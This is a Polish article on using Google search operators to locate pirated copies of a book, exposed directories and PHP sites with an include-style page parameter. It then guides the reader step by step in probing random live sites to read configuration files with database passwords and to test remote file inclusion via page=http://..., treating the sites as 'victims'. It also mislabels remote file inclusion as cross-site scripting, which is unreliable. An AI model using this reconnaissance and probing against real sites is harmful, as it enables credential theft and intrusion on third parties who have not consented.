Detektyw Google

Niezabezpieczone strony WWW mogą być narzędziem do znajdowania na serwerze danych, które wcale nie są dla nas przeznaczone. Co więcej, takie witryny możemy znaleźć za pomocą... Google'a

Co mają ze sobą wspólnego następujące wyrazy: nóż, samochód, nożyczki? Każdy z nich jest nazwą rzeczy codziennego użytku, która może zostać wykorzystana do popełnienia przestępstwa. Jednakże ze względu na ich przydatność nikt nie zakazuje korzystania z tych przedmiotów. Jak się okazuje, do tej listy musimy dopisać wyszukiwarki internetowe. Umożliwiają one bowiem także odnalezienie poufnych informacji, które nie powinny być dostępne dla wszystkich internautów.

Około roku temu zarzucano Google’owi w prasie, że pomagał on hakerom zdobywać takie dane. Od tamtego czasu sporo się zmieniło. Przede wszystkim twórcy stron stali się bardziej świadomi, a administratorzy bardziej rozważni. Ci ostatni nauczyli się konfigurować serwery Apache i interpretery PHP, tak by serwisy WWW były bezpieczne nawet wtedy, gdy ich twórcy są osobami przypadkowymi.

Niniejszy artykuł pokazuje, jakie informacje można dziś zdobyć dzięki najpopularniejszej wyszukiwarce i czy Google jest nadal niebezpieczny. Skupimy się na danych, które stanowią pierwszy krok w ataku na dany serwer czy stronę internetową. Wybór tej wyszukiwarki nie powinien być dla nikogo zaskoczeniem. Szacuje się, iż Google ma skatalogowane około 80% stron internetowych, co sprawia, że jest w czym szukać.

Bat na piratów

Zapoznajmy się z narzędziami ułatwiającymi wyszukiwanie. Na rozgrzewkę spróbujmy znaleźć w Sieci książkę Kevina Mitnicka pt. „Sztuka podstępu”. Wpiszmy w oknie wyszukiwania:

sztuka podstępu

. Pojawiło się ponad 25 000 wyników. To zbyt dużo, aby próbować odnaleźć choćby przykładowy rozdział. Ujmijmy wyrażenie w cudzysłów, wpisując:

„sztuka podstępu”

. Trochę lepiej, wyników niewiele ponad 18 tys. Nadal jednak nas to nie satysfakcjonuje. Dopiszmy nazwisko autora:

„kevin mitnick” „sztuka podstępu”

– ponad 2 tys. wyników – to już 10 razy mniej niż na początku. Próbujmy dalej. Tym razem uściślijmy, iż chodzi nam o dokument typu PDF. Wpisujemy:

„kevin mitnick” „sztuka podstępu” filetype:pdf

– to jest to! Jedynie trzy wyniki: dwie pirackie kopie książki i przykładowy rozdział udostępniony przez wydawcę (patrz: zdjęcie na samej górze).

Powyższy przykład uzmysławia nam, że odpowiednie sprecyzowanie zapytania może doprowadzić szybko na strony, których poszukujemy. Więcej informacji na temat dostępnych opcji wyszukiwania znajduje się w ramce „Operatory w Google’u”.

Operatory w Google’u
Wyszukiwarka Google pozwala na sprecyzowanie zapytania za pomocą odpowiednich operatorów. Do wyszukiwania „tajnych” informacji najlepiej przydają się:
SITE – ogranicza wyszukiwanie do podanej domeny albo strony;
INTITLE – ogranicza wyszukiwanie do słów występujących w tytule witryny;
ALLINTITLE – wszystkie wyrazy występujące po tym operatorze muszą się znaleźć w tytule strony;
INURL – ogranicza wyszukiwanie do słów znajdujących się w adresie URL;
ALLINURL – wszystkie wyrazy występujące po tym operatorze muszą się znaleźć w adresie URL;
FILETYPE – ogranicza wyszukiwanie do dokumentów określonego typu;
+ – element występujący po tym znaku musi się pojawić w wynikach;
– element występujący po tym znaku nie może się pojawić w wynikach;
. – zastępuje pojedynczy znak;
* – zastępuje pojedyncze słowo.
Chcąc znaleźć listingi zawartości katalogów o nazwie admin, wpiszmy polecenie intitle:index.of admin. Jeśli zależy nam na odnalezieniu określonych typów plików (np. konfiguracyjnych), powinniśmy wpisać frazę filetype:conf.

Przeglądarka plików WWW

Google jest bardzo precyzyjny – podaje nam ofiary na tacy, ale musimy wiedzieć, czego i jak szukać. Znajdźmy dla przykładu witryny, na których będziemy mogli zobaczyć zawartość zbiorów znajdujących się poza katalogiem strony. Dzięki podejrzeniu plików konfiguracyjnych dowiemy się, jakie jest hasło do bazy danych, z której korzysta witryna (patrz: zdjęcie obok).

Będziemy więc poszukiwali takich stron, do których przekazywany jest parametr odpowiadający za ich zawartość. Zwykle adres takiej witryny wygląda następująco:

http://przykladowastrona.com/index.php?page=pliki/strona.html

. Oczywiście parametr page może przyjmować inne nazwy. Popularnymi określeniami są: include, site, link, show. Do paska wyszukiwania Google’a wpiszmy więc:

allinurl:index.php page html

. Nie każda prezentowana w wynikach strona będzie podatna na podejrzenie pliku konfiguracyjnego. Jednak jeśli będziemy wystarczająco cierpliwi, prędzej czy później na taką trafimy.

CSS, czyli o krok dalej

Jak się szybko przekonamy, w powyższy sposób nie obejrzymy wszystkich plików na serwerze. Przede wszystkim nie zobaczymy źródeł skryptów PHP, co powoduje, że nie będziemy mogli uzyskać naprawdę wartościowych informacji. Aby to zmienić, wykorzystamy technikę CSS.

Osoby tworzące strony internetowe skrót CSS kojarzą z Cascading Style Sheet – językiem znaczników ułatwiającym formatowanie wyglądu witryn. Jednakże w tym kontekście CSS należy rozumieć jako Cross Site Scripting, co w wolnym tłumaczeniu interpretujemy jako „pisanie skryptów pomiędzy serwerami”. Wydawałoby się, że bez znajomości haseł dostępu do danej strony nie mamy możliwości wpłynięcia na przebieg wykonywanych skryptów. Okazuje się jednak, że nie jest to prawdą. CSS polega właśnie na tym, iż przekazujemy skryptowi do wykonania kod, który otrzymujemy z innego (podstawionego przez nas) serwera. Oczywiście nie każdą stronę nakłonimy do „współpracy”. Przekazanie kodu następuje zwykle w wyniku wykorzystania ewidentnych błędów webmastera, a ogrom przywilejów, które w ten sposób uzyskamy, jest uzależniony od konfiguracji serwera.

Między serwerami

Chcemy znaleźć te strony, które umożliwiają załączanie plików znajdujących się na innych serwerach. Zatem nasze zapytanie będzie wyglądało następująco:

allinurl:http index.php http page html

. W adresie strony zawsze występuje jedno wystąpienie http, dlatego też podwójne wpisanie frazy http wymusi wyszukiwanie tylko tych adresów stron, które będą zawierały pożądany przez nas ciąg:

http://adres/strona.php?zalacz=http://adres2/strona2.html

. Oczywiście możemy powtarzać zapytanie dla różnych par słów: zastępować page przez link, site, include, a html przez php. Jak się okaże, wyników będzie dużo, jednak większość z nich nie usatysfakcjonuje nas z różnych względów. Czy oznacza to, że stron podatnych na CSS jest tylko garstka? Nic bardziej mylnego.

Wpiszmy ponownie:

allinurl:index.php page html

. Wybierzmy którąś ze stron i parametr

page

(lub inny, który jest odpowiedzialny za treść) ustalmy na dziwnaNazwaPliku.html. Przypatrz-my się uważnie wygenerowanemu ostrzeżeniu. Jeżeli zobaczymy coś w stylu:

Warning nazwaFunkcji(dziwnaNazwaPliku.html) failed to open stream

, to znaczy, że strona zapewne będzie podatna na CSS (o ile konfiguracja serwera umożliwia otwieranie adresów sieciowych – parametr allow_url_fopen z pliku php.ini). Jeśli ujrzymy jedynie […] nazwaFunkcji(/katalog/dziwnaNazwaPliku.html), to niestety będziemy musieli się obejść smakiem i szukać dalej. Gdy się jednak okaże, że mamy szczęście, to upewnijmy się, że rzeczywiście będą otwierane łącza http. Tym razem zamieńmy parametr na:

page=http://adresStrony/strona.html

. Jeżeli zobaczymy, że strona rzeczywiście została załączona, to możemy przejść do finalnego etapu.

Close

Choć staramy się je ograniczać, wykorzystujemy mechanizmy takie jak ciasteczka, które pozwalają naszym partnerom na śledzenie Twojego zachowania w sieci. Dowiedz się więcej.